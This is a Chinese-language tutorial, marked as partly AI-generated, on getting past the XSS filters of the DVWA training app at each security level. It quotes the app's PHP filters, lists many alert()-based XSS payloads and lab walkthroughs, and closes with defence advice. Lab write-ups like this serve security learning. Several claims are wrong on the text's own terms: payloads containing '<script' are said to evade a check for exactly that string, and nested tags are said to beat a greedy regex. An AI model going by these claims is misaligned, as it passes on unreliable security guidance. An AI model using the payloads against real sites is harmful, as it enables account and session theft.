DVWA XSS WAF绕过:常见过滤规则与绕过方法

DVWA XSS WAF绕过:常见过滤规则与绕过方法

【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 【免费下载链接】DVWA 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA

引言

跨站脚本(Cross-Site Scripting, XSS)是Web应用中最常见的安全漏洞之一。Damn Vulnerable Web Application (DVWA)作为一款经典的漏洞测试平台,提供了多种XSS场景的实践环境。本文将深入分析DVWA中XSS(存储型、反射型、DOM型)在不同安全级别下的WAF(Web Application Firewall, Web应用防火墙)过滤规则,并系统介绍有效的绕过方法,帮助安全测试人员和开发人员全面理解XSS防御机制与绕过技术。

XSS类型与DVWA环境概述

XSS主要分为三类:

  • 反射型XSS(Reflected XSS):恶意脚本通过URL参数等方式传入,服务器处理后立即反射回客户端执行。
  • 存储型XSS(Stored XSS):恶意脚本被存储在服务器数据库或文件中,用户访问相关页面时被读取并执行。
  • DOM型XSS(DOM-based XSS):客户端JavaScript通过DOM操作动态修改页面内容时,未对用户输入进行正确过滤,导致恶意脚本执行。

DVWA为这三类XSS分别提供了低(Low)、中(Medium)、高(High)和不可能(Impossible)四个安全级别,模拟了不同强度的WAF防护措施。

DVWA XSS过滤规则分析

1. 反射型XSS(Reflected XSS)

低级别(Low)
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

过滤规则:无任何过滤措施,直接将用户输入的name参数拼接到HTML响应中。

中级别(Medium)
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    $html .= "<pre>Hello {$name}</pre>";
}
?>

过滤规则:使用str_replace函数将输入中的<script>字符串替换为空。

高级别(High)
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    $html .= "<pre>Hello {$name}</pre>";
}
?>

过滤规则:使用正则表达式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i匹配并移除任何包含script字符序列(不区分大小写,字符间允许有其他字符)的标签。

2. 存储型XSS(Stored XSS)

低级别(Low)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    $message = stripslashes( $message );
    $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message );
    $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name );
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );
}
?>

过滤规则:仅对输入进行了SQL注入防护(mysqli_real_escape_string),未对XSS攻击进行任何过滤。

中级别(Medium)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    $message = strip_tags( addslashes( $message ) );
    $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message );
    $message = htmlspecialchars( $message );
    $name = str_replace( '<script>', '', $name );
    $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name );
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );
}
?>

过滤规则

  • message字段使用strip_tags(移除HTML标签)、addslashes(添加反斜杠转义)和htmlspecialchars(将特殊字符转换为HTML实体)进行多重过滤。
  • name字段使用str_replace函数将<script>字符串替换为空。
高级别(High)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    $message = strip_tags( addslashes( $message ) );
    $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message );
    $message = htmlspecialchars( $message );
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name );
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );
}
?>

过滤规则

  • message字段的过滤与中级别相同。
  • name字段使用与反射型XSS高级别相同的正则表达式过滤script标签。

3. DOM型XSS(DOM-based XSS)

低级别(Low)
<?php
# No protections, anything goes
?>

过滤规则:无任何服务器端过滤措施,完全依赖客户端JavaScript处理。

中级别(Medium)
<?php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
?>

过滤规则:使用stripos函数检测default参数中是否包含<script(不区分大小写),如果包含则重定向到默认页面。

高级别(High)
<?php
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

过滤规则:采用白名单机制,仅允许default参数的值为"French"、"English"、"German"或"Spanish",其他值均重定向到默认页面。

4. 不可能级别(Impossible)

以存储型XSS为例:

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    $message = stripslashes( $message );
    $message = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message );
    $message = htmlspecialchars( $message );
    $name = stripslashes( $name );
    $name = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name );
    $name = htmlspecialchars( $name );
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}
generateSessionToken();
?>

防护措施

  • 使用Anti-CSRF Token防止跨站请求伪造。
  • 对所有用户输入使用htmlspecialchars进行HTML实体编码。
  • 使用PDO预编译语句(Prepared Statements)防止SQL注入。
  • 综合运用多种安全措施,使XSS攻击几乎不可能成功。

XSS WAF绕过方法

1. 针对<script>标签过滤的绕过

大小写混淆

适用于区分大小写的简单字符串替换过滤(如反射型XSS中级别)。

<Script>alert('XSS')</Script>
<SCript>alert('XSS')</SCript>
标签嵌套

利用过滤函数仅替换一次的特性。

<sc<script>ript>alert('XSS')</sc</script>ript>

str_replace('<script>', '', input)处理时,中间的<script>被移除,剩余部分拼接形成完整的<script>alert('XSS')</script>

使用其他标签

除了<script>标签,HTML中还有许多标签可以执行JavaScript:

<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
<div onclick=alert('XSS')>Click me</div>
<a href=javascript:alert('XSS')>Click me</a>

2. 针对复杂正则过滤的绕过

字符插入与编码

针对高级别反射型XSS中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i的过滤:

<scr<script>ipt>alert('XSS')</scr</script>ipt> <!-- 嵌套绕过 -->
<s<script>cript>alert('XSS')</s</script>cript> <!-- 字符插入 -->
%3Cscript%3Ealert('XSS')%3C/script%3E <!-- URL编码 -->
<&#x73;cript>alert('XSS')</&#x73;cript> <!-- HTML实体编码 -->
事件处理与伪协议
<img src="javascript:alert('XSS')"> <!-- 伪协议 -->
<div onmouseover="alert('XSS')">Hover me</div> <!-- 鼠标事件 -->
<input type="text" onfocus="alert('XSS')" autofocus> <!-- 自动聚焦事件 -->

3. 针对DOM型XSS的绕过

低级别DOM XSS

直接注入事件或伪协议:

?default=<img src=x onerror=alert('XSS')>
?default=javascript:alert('XSS')
中级别DOM XSS

绕过<script检测:

?default=<img src=x onmouseover=alert('XSS')> <!-- 不使用<script标签 -->
?default=<svg><script>alert('XSS')</script></svg> <!-- <script前有其他字符 -->
高级别DOM XSS

利用默认参数拼接(假设客户端JS会将default值插入到某个JS变量中):

?default=English';alert('XSS');//

如果客户端代码类似var lang = "<?php echo $_GET['default']; ?>";,则注入后变为var lang = "English";alert('XSS');//";

4. 综合绕过技巧

利用HTML5新特性
<video poster=javascript:alert('XSS')></video>
<iframe srcdoc="<script>alert('XSS')</script>"></iframe>
利用字符编码
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <!-- 十进制ASCII编码 -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029> <!-- Unicode编码 -->
利用Flash等插件(较过时,但仍有参考价值)
<embed src="data:application/x-shockwave-flash,PGh0bWw+PGJvZHk+PGRpdj48L2Rpdj48L2JvZHk+PC9odG1sPg==" allowscriptaccess="always"></embed>

XSS WAF绕过实战案例(DVWA环境)

案例1:反射型XSS中级别绕过

目标URLhttp://dvwa.example/vulnerabilities/xss_r/?name=INPUT

过滤规则str_replace('<script>', '', $name)

绕过方法:使用大小写混淆和事件驱动。

Payload

?name=<Img src=x OnErRoR=alert('XSS')>

原理<Img>标签的OnErRoR事件在图片加载失败时触发,执行alert('XSS')。由于未使用<script>标签,成功绕过过滤。

案例2:存储型XSS高级别绕过

目标:在留言板的name字段注入XSS。

过滤规则preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name)

绕过方法:此字段仅过滤name字段,message字段有htmlspecialchars过滤,但name字段可注入。

Payload

name=<a href=javascript:alert('XSS')>Click</a>&mtxMessage=Test

原理:使用<a>标签的href属性配合javascript:伪协议,不包含script字符序列,绕过正则过滤。用户点击链接时触发XSS。

案例3:DOM型XSS中级别绕过

目标URLhttp://dvwa.example/vulnerabilities/xss_d/?default=INPUT

过滤规则:检测<script,存在则重定向。

绕过方法:使用<svg>标签的onload事件。

Payload

?default=<svg onload=alert('XSS')>

原理<svg>标签的onload事件在SVG图像加载完成时触发,且不包含<script子串,因此绕过检测。

XSS防御最佳实践

  1. 输入验证:对所有用户输入进行严格的类型、格式和长度验证。
  2. 输出编码:根据输出上下文(HTML、JavaScript、CSS、URL等)使用相应的编码函数(如htmlspecialcharsjson_encode)。
  3. 使用CSP:实施内容安全策略(Content Security Policy, CSP),限制脚本的加载和执行来源。
    Content-Security-Policy: default-src 'self'; script-src 'self' trusted.cdn.com
    
  4. 避免危险API:尽量避免使用eval()innerHTMLouterHTML等可能执行动态代码的API,优先使用textContent
  5. 使用HttpOnly和Secure标记:为Cookie设置HttpOnly标记防止JavaScript访问,Secure标记确保仅通过HTTPS传输。
  6. 实施WAF:部署Web应用防火墙,如ModSecurity,并定期更新规则库。
  7. 安全开发培训:提高开发人员的安全意识,了解XSS等常见漏洞的原理和防御方法。

总结与展望

XSS WAF绕过是一场持续的攻防对抗。随着WAF技术的不断发展,过滤规则日益复杂,但由于HTML、JavaScript的灵活性和历史兼容性问题,完全杜绝XSS漏洞仍然具有挑战性。安全测试人员需要深入理解各种XSS类型的原理、不同WAF的过滤机制,以及浏览器的解析特性,才能有效发现和利用潜在的绕过点。

未来,随着浏览器安全机制的增强(如更严格的CSP、内置XSS过滤器)和Web开发技术的进步(如React、Vue等框架的自动转义),传统XSS漏洞的数量可能会减少,但新型XSS变种(如基于WebAssembly的XSS)和绕过技术仍将不断涌现。因此,持续学习和实践对于安全从业人员至关重要。

通过DVWA等靶场平台模拟不同级别WAF的攻防演练,可以帮助我们更好地理解XSS漏洞的本质,掌握有效的防御和检测方法,从而在实际工作中构建更安全的Web应用。

【免费下载链接】DVWA Damn Vulnerable Web Application (DVWA) 【免费下载链接】DVWA 项目地址: https://gitcode.com/gh_mirrors/dv/DVWA

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值